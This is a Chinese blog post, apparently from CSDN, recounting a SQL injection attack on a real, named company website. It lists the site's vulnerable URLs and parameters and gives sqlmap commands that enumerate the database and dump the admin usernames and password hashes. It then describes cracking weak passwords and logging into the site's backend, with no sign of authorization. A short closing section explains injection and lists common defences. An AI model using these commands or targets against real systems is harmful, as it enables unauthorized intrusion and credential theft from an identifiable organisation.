记一次对真实网站的SQL注入实战

本文详述了一次SQL注入漏洞的发现过程,利用sqlmap工具进行渗透测试,揭示了网站存在的安全隐患。通过实例解释了SQL注入攻击原理,并提出了防止SQL注入的措施,包括用户权限管理、参数化查询和输入过滤等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

某集团股份有限公司网站存在SQL注入漏洞

发现过程

用针对性工具扫描(这里使用的是超级SQL注入工具)问题网站,得到以下链接均存在SQL注入漏洞
问题URL:
fuwu_fanwei.php?fid=1
fuwu_zhichi.php?zid=5
video.php?video_id=1
news.php?nid=1
about.php?aid=1
fuwu_fanwei_content.php?fid=1&id=1

在这里插入图片描述

漏洞利用

这里使用sqlmap进行注入
sqlmap -u XX/fuwu_fanwei.php?fid=1 --dbs –batch
检测库:
在这里插入图片描述
sqlmap -u XX/fuwu_fanwei.php?fid=1 --tables -D sq_zhengxing1
检测sq_zhengxing1库中表:

sqlmap -u XX/fuwu_fanwei.php?fid=1 --column -T adminuser -D sq_zhengxing1
检测adminuser表中字段:
在这里插入图片描述

sqlmap -u http://shzxjsjt.com/fuwu_fanwei.php?fid=1 -C username/password -T adminuser -D sq_zhengxing1 –dump
检测username和password的值:
在这里插入图片描述

最后破解哈希还得到了弱口令
工具扫描获得后台地址:

利用弱口令成功登录:

在这里插入图片描述

总结

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
解决SQL注入的方法有:
1.对用户进行分级管理,严格控制用户的权限。
2.禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。
3.获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤。
4.程序编写时应尽量使用安全参数来杜绝注入式攻击。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

youhao108

行行好吧,揭不开锅了~QAQ

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值